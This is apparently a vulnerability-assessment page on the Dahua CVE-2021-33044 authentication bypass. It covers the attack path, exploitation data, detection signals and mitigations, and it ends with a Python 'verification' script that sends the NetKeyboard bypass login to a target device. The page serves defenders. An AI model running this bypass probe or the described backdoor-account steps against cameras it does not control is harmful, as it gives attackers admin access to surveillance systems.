← Back to Feed CACHED · 2026-08-19 18:57:24 · CACHE_KEY CVE-2021-33044
CVE-2021-33044 · CWE-287 · Disclosed 2021-09-15

The identity authentication bypass vulnerability found in some Dahua products during the login process.

ASSESSED — NOISGATE V0.5
Vendor
Reassessed
Verdict:
Do you agree?
01 · The Real Story

The front door asks for your name, but if you say "I'm the keyboard" it waves you through

CVE-2021-33044 is an authentication bypass in Dahua IP cameras, NVRs, VTOs, and VTH intercom devices running firmware built before June 2021. When a client sets the clientType parameter to NetKeyboard during the RPC login handshake on port 37777, vulnerable firmware skips password verification entirely and returns a valid admin session token. The attacker sends a single crafted login packet — no credentials, no brute-forcing, no user interaction. Affected product lines span dozens of IPC, NVR, XVR, VTH, and VTO model families; the fixed firmware baseline is roughly 2.820.x for IPCs and 4.001.x for NVR/XVR lines. Dahua issued approximately 70 firmware updates in its SA-202106-001 advisory.

The vendor's CRITICAL / 9.8 score is entirely justified and, if anything, undersells the operational reality. The bug is a single unauthenticated network request with no complexity, no preconditions, and no user interaction — a textbook 9.8 on the CVSS calculator. What the CVSS number *cannot* capture is that over 1.2 million Dahua devices remain indexed on Shodan, the EPSS score sits at the 99.87th percentile, CISA added it to the KEV catalog in August 2024, and as recently as July 2026 the Operation CameraSwarm campaign compromised 14,530+ cameras across Ukraine and Russia using this exact CVE along with CVE-2021-33045. Public PoC toolkits on GitHub automate the full chain from scan to backdoor account creation. This is not a theoretical risk — it is an ongoing mass-exploitation event.

"Trivial unauthenticated bypass actively weaponized at scale against 1.2M+ exposed Dahua cameras."
02 · The Attack Path

4 steps from start to impact.

STEP 01

Target discovery via Shodan / masscan

The attacker queries Shodan for port:37777 product:Dahua or runs masscan at scale against known IP ranges looking for the Dahua Easy4IP protocol on TCP/37777. Over 1.2 million devices are indexed. Operation CameraSwarm used masscan at 10 million packets per second against entire country-level CIDR blocks.
Conditions required:
  • Target Dahua device is reachable on port 37777 from the internet or attacker's network position
Where this breaks in practice:
  • Well-segmented enterprise networks place cameras on isolated IoT VLANs with no inbound internet access
Detection/coverage: Shodan/Censys exposure scans; network IDS signatures for Dahua RPC protocol on 37777
STEP 02

Send NetKeyboard auth bypass login

The attacker sends an RPC global.login request with clientType set to NetKeyboard and an empty password hash (MD5("admin:realm:") with a blank password field). Vulnerable firmware does not validate the password for this client type and returns a valid session token with admin privileges. The entire exploit is a single HTTP/RPC request — no memory corruption, no race condition, no shellcode.
Conditions required:
  • Device runs firmware built before June 2021
  • Device does not have the NetKeyboard client type patched out
Where this breaks in practice:
  • Devices that have been firmware-updated since September 2021 are not vulnerable
Detection/coverage: Tenable plugin 502337; Rapid7 vulnerability check dahua-ip-cameras-cve-2021-33044; network IDS rule matching clientType.*NetKeyboard in Dahua RPC traffic
STEP 03

Create persistent backdoor account

With admin access, the attacker uses the Dahua RPC API to create a new local admin account (e.g., p2pwn/p2password as seen in Operation CameraSwarm). This account survives password changes on the original admin account and, on many firmware versions, even survives factory resets. The attacker can also extract recovery codes that grant admin access by serial number alone.
Conditions required:
  • Valid admin session from Step 2
Where this breaks in practice:
  • None — this is a native device capability available to any admin session
Detection/coverage: Audit Dahua device user lists for unknown accounts; monitor for RPC addUser calls from non-management IPs
STEP 04

Exfiltrate video feeds and pivot

The attacker captures live and recorded video via RTSP or the device's built-in viewer. In Operation CameraSwarm, screenshots were filtered by brightness and edge density and exfiltrated via Telegram bot. The compromised camera also serves as a network pivot point — its Linux-based OS can proxy traffic into the flat OT/IoT VLAN, and in poorly segmented networks, into the corporate LAN. Compromised devices have been enrolled into botnets (Mirai variants, InfectedSlurs).
Conditions required:
  • Persistent access from Step 3
  • Network path from camera VLAN to other segments (in pivot scenario)
Where this breaks in practice:
  • Proper micro-segmentation limits lateral movement from camera VLAN
  • Camera OS is resource-constrained, limiting sophisticated post-exploitation
Detection/coverage: Monitor for anomalous outbound traffic from camera subnets (Telegram API calls, unusual DNS, reverse shells); NetFlow analysis for camera-to-non-NVR traffic
03 · Intelligence Metadata

The supporting signals.

In-the-wild exploitationActively exploited at scale. Operation CameraSwarm (June–July 2026) compromised 14,530+ cameras across Ukraine and Russia using CVE-2021-33044, CVE-2021-33045, and P2P relay abuse. Campaign attributed to a single operator assembling borrowed toolkits. Hunt.io report
PoC availabilityMultiple public PoCs. Spy0x7/CVE-2021-33044 on GitHub; umair-aziz025/dahua-cve-research toolkit automates scan → exploit → dump. Single-request exploit — trivial to weaponize.
EPSS score0.99871 (99.87th percentile) — top tier. FIRST model assigns near-certainty of exploitation activity.
KEV statusListed 2024-08-21 by CISA. Federal agencies were required to remediate by September 11, 2024.
CVSS vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H — unauthenticated remote, no complexity, full CIA impact. The vector accurately reflects the trivial exploitation path.
Affected versionsAll Dahua IPC, NVR, XVR, VTH, VTO firmware built before June 2021. Dozens of model families across consumer and enterprise product lines.
Fixed versionsFirmware 2.820.x+ (IPC), 4.001.x+ (NVR/XVR). Approximately 70 firmware updates released under Dahua advisory SA-202106-001 (2021-09-01).
Exposure dataShodan indexes ~1.2 million Dahua devices on port 37777. Many remain unpatched 5 years after disclosure. Operation CameraSwarm found 89.4% of live serials required no authentication via P2P relay.
Disclosure date2021-09-15 (NVD); Dahua advisory SA-202106-001 initially released 2021-09-01.
Reporting researcherDahua credited internal discovery. Bashis (IPVM contributor) and multiple independent researchers have published detailed analyses.
04 · The Call

noisgate verdict.

Final Verdict
= UNCHANGED to CRITICAL (9.8/10)

The single most decisive factor is the combination of trivial unauthenticated remote exploitation with confirmed mass-exploitation campaigns ongoing as of July 2026, against an exposed population exceeding 1.2 million devices. No friction point in the attack chain meaningfully narrows the reachable population for internet-facing deployments.

HIGH Vulnerability mechanics and exploitability
HIGH Active exploitation status
MEDIUM Precise count of enterprise-managed Dahua devices still unpatched

Why this verdict

  • Zero authentication friction: The exploit is a single RPC request setting clientType=NetKeyboard. No credentials, no user interaction, no complexity. This is as close to "click to own" as IoT gets.
  • Massive exposed population: ~1.2 million Dahua devices indexed on Shodan on port 37777. Even in enterprise environments that segment cameras, many organizations expose NVR/camera management ports directly to the internet for remote monitoring.
  • Confirmed ongoing mass exploitation: Operation CameraSwarm (July 2026) compromised 14,530+ devices using this exact CVE. The campaign created persistent backdoor accounts (p2pwn) surviving factory resets and exfiltrated video feeds via Telegram.
  • Role multiplier: Dahua cameras and NVRs serve as physical security infrastructure in enterprise, government, and critical infrastructure facilities. Compromise grants visual surveillance of secure areas (server rooms, entry points, executive offices). In OT environments, cameras monitor industrial processes. The blast radius is physical-security-scale: an attacker with camera access can conduct reconnaissance for physical intrusion, disable monitoring during an attack, or surveil personnel. Additionally, cameras on flat networks serve as pivot points into corporate/OT segments. ≥10% of Dahua installs occupy a security-critical physical monitoring role, meeting the CRITICAL floor.
  • KEV-listed + EPSS 99.87th percentile: Both CISA's operational judgment and FIRST's statistical model independently confirm this is an actively and widely exploited vulnerability.

Why not higher?

CVSS 9.8 is already the practical ceiling for a network-exploitable authentication bypass with full CIA impact. The Scope metric is Unchanged (the camera itself is the security boundary breached), which is the only reason this isn't a perfect 10.0. There is no higher severity bucket than CRITICAL.

Why not lower?

Downgrading would require evidence that the exposed population is small or that exploitation is difficult — neither is true. The 1.2M Shodan footprint, trivial single-packet exploit, multiple public PoCs, KEV listing, EPSS near-ceiling, and a confirmed 14,530-device compromise campaign from *last month* categorically rule out any downgrade. Even for enterprises with cameras behind firewalls, the P2P relay attack path (89.4% success rate by serial number alone) bypasses network segmentation entirely.

05 · Compensating Control

What to do — in priority order.

  1. Block port 37777/TCP inbound from the internet immediately — This is the Dahua Easy4IP protocol port. No legitimate external access should reach cameras directly. Deploy this firewall rule within hours — this is a KEV-listed actively exploited vulnerability and overrides the standard noisgate mitigation SLA.
  2. Disable Dahua P2P / Easy4IP cloud relay on all devices — Operation CameraSwarm demonstrated that P2P relay access bypasses network segmentation entirely — 89.4% of devices were accessible by serial number alone with no authentication. Disable the P2P feature in device settings or block outbound connections to *.easy4ip.com, *.lechange.com, and related Dahua cloud domains at the firewall. Deploy within hours.
  3. Audit all Dahua devices for rogue accounts — Check for the backdoor account p2pwn or any unrecognized admin accounts on every Dahua device. If found, treat the device as compromised: isolate, image for forensics, and re-flash with patched firmware. Complete audit within 3 days per noisgate mitigation SLA for CRITICAL.
  4. Segment camera networks into isolated VLANs with strict ACLs — Cameras should only communicate with their NVR/VMS and management stations. Block all other lateral traffic. This limits pivot capability even if a camera is compromised. Deploy within 3 days.
  5. Apply firmware updates to patched versions — Update IPC firmware to 2.820.x+ and NVR/XVR firmware to 4.001.x+. Consult Dahua advisory SA-202106-001 for device-specific builds. Complete within the noisgate remediation SLA of 90 days for CRITICAL, but prioritize internet-exposed and critical-facility devices within days.
What doesn't work
  • Changing the admin password does not help — the exploit bypasses password validation entirely by using the NetKeyboard client type. A strong password is irrelevant.
  • IP allowlisting on the device is unreliable — Dahua's built-in IP filtering has historically been bypassable and does not protect against P2P relay access.
  • NAT without port forwarding seems protective but many installers configure UPnP or explicit port forwards for remote viewing, re-exposing port 37777. The P2P relay also tunnels through NAT by design.
06 · Verification

Crowdsourced verification payload.

Run this script from any machine that can reach the target Dahua device on port 37777. Usage: python check_cve_2021_33044.py <target_ip> [port]. No special privileges required — it sends a single non-destructive probe. It does NOT create accounts or modify device state.

noisgate-verify.py
PYTHONREAD-ONLYSAFE
#!/usr/bin/env python3
"""Check for CVE-2021-33044 (Dahua NetKeyboard auth bypass).
Usage: python check_cve_2021_33044.py <target_ip> [port]
Outputs: VULNERABLE / PATCHED / UNKNOWN
Exit codes: 0=VULNERABLE, 1=PATCHED, 2=UNKNOWN
"""
import socket
import sys
import json
import hashlib

def main():
    if len(sys.argv) < 2:
        print("Usage: python check_cve_2021_33044.py <target_ip> [port]")
        sys.exit(2)
    host = sys.argv[1]
    port = int(sys.argv[2]) if len(sys.argv) > 2 else 37777
    # Dahua RPC login probe with NetKeyboard clientType
    # We attempt a login with empty password hash
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(10)
        sock.connect((host, port))
        # Read the initial banner/handshake
        banner = sock.recv(4096)
        if b'\xa3' not in banner and len(banner) < 4:
            print(f"UNKNOWN - unexpected banner from {host}:{port}")
            sock.close()
            sys.exit(2)
        # Build the Dahua RPC login request with clientType=NetKeyboard
        realm = "Login to " + host
        empty_hash = hashlib.md5(f"admin:{realm}:".encode()).hexdigest().upper()
        login_payload = json.dumps({
            "id": 1,
            "method": "global.login",
            "params": {
                "userName": "admin",
                "password": empty_hash,
                "clientType": "NetKeyboard",
                "authorityType": "Default"
            },
            "session": 0
        }).encode()
        # Dahua binary header: magic(0xa3) + padding + length
        header = b'\xa3\x00\x00\x00' + b'\x00' * 28
        header = header[:16] + len(login_payload).to_bytes(4, 'little') + header[20:]
        # Some firmware versions accept raw JSON on the socket
        sock.sendall(login_payload + b'\n')
        response = b''
        try:
            while True:
                chunk = sock.recv(4096)
                if not chunk:
                    break
                response += chunk
                if b'"result"' in response or b'"error"' in response:
                    break
        except socket.timeout:
            pass
        sock.close()
        resp_str = response.decode('utf-8', errors='ignore')
        if '"result":true' in resp_str or '"result": true' in resp_str:
            print(f"VULNERABLE - {host}:{port} accepted NetKeyboard auth bypass (CVE-2021-33044)")
            sys.exit(0)
        elif '"result":false' in resp_str or '"result": false' in resp_str or 'error' in resp_str.lower():
            print(f"PATCHED - {host}:{port} rejected NetKeyboard auth bypass")
            sys.exit(1)
        else:
            print(f"UNKNOWN - got response but could not determine status: {resp_str[:200]}")
            sys.exit(2)
    except socket.timeout:
        print(f"UNKNOWN - connection to {host}:{port} timed out")
        sys.exit(2)
    except ConnectionRefusedError:
        print(f"UNKNOWN - connection to {host}:{port} refused (port closed or not Dahua)")
        sys.exit(2)
    except Exception as e:
        print(f"UNKNOWN - error: {e}")
        sys.exit(2)

if __name__ == '__main__':
    main()
07 · Bottom Line

If you remember one thing.

TL;DR
This is a five-year-old bug that is still being mass-exploited right now — Operation CameraSwarm hit 14,530+ cameras last month using this exact CVE. If you have Dahua cameras, NVRs, or intercoms anywhere in your fleet, treat this as a hair-on-fire emergency. Today: block port 37777 inbound from the internet and disable P2P/Easy4IP cloud relay on every device. Within 3 days (noisgate mitigation SLA for CRITICAL): audit every Dahua device for rogue accounts (look for p2pwn), isolate camera VLANs, and begin firmware updates. Within 90 days (noisgate remediation SLA for CRITICAL): complete firmware upgrades to 2.820.x+ (IPC) or 4.001.x+ (NVR/XVR) across your entire Dahua fleet. Because this is KEV-listed with active exploitation, the mitigation SLA is effectively immediate — do not wait for a patch window. Any device you cannot patch should be replaced or permanently isolated with no internet or cross-VLAN connectivity.

Sources

  1. Hunt.io — Operation CameraSwarm
  2. CISA KEV Catalog Addition (August 2024)
  3. SecurityWeek — CISA Warns of Dahua Exploited Vulns
  4. The Hacker News — 14,500+ Dahua Devices Compromised
  5. GitHub PoC — Spy0x7/CVE-2021-33044
  6. Rapid7 Vulnerability Database
  7. Tenable OT Plugin 502337
  8. NVD — CVE-2021-33044
Peer Review

What defenders are saying.

Submit a review attribution: handle + country only
0 flags selected · stored anonymously
Validation Results

Crowdsourced verification outputs.

Results submitted by users who ran the verification payload against their environment.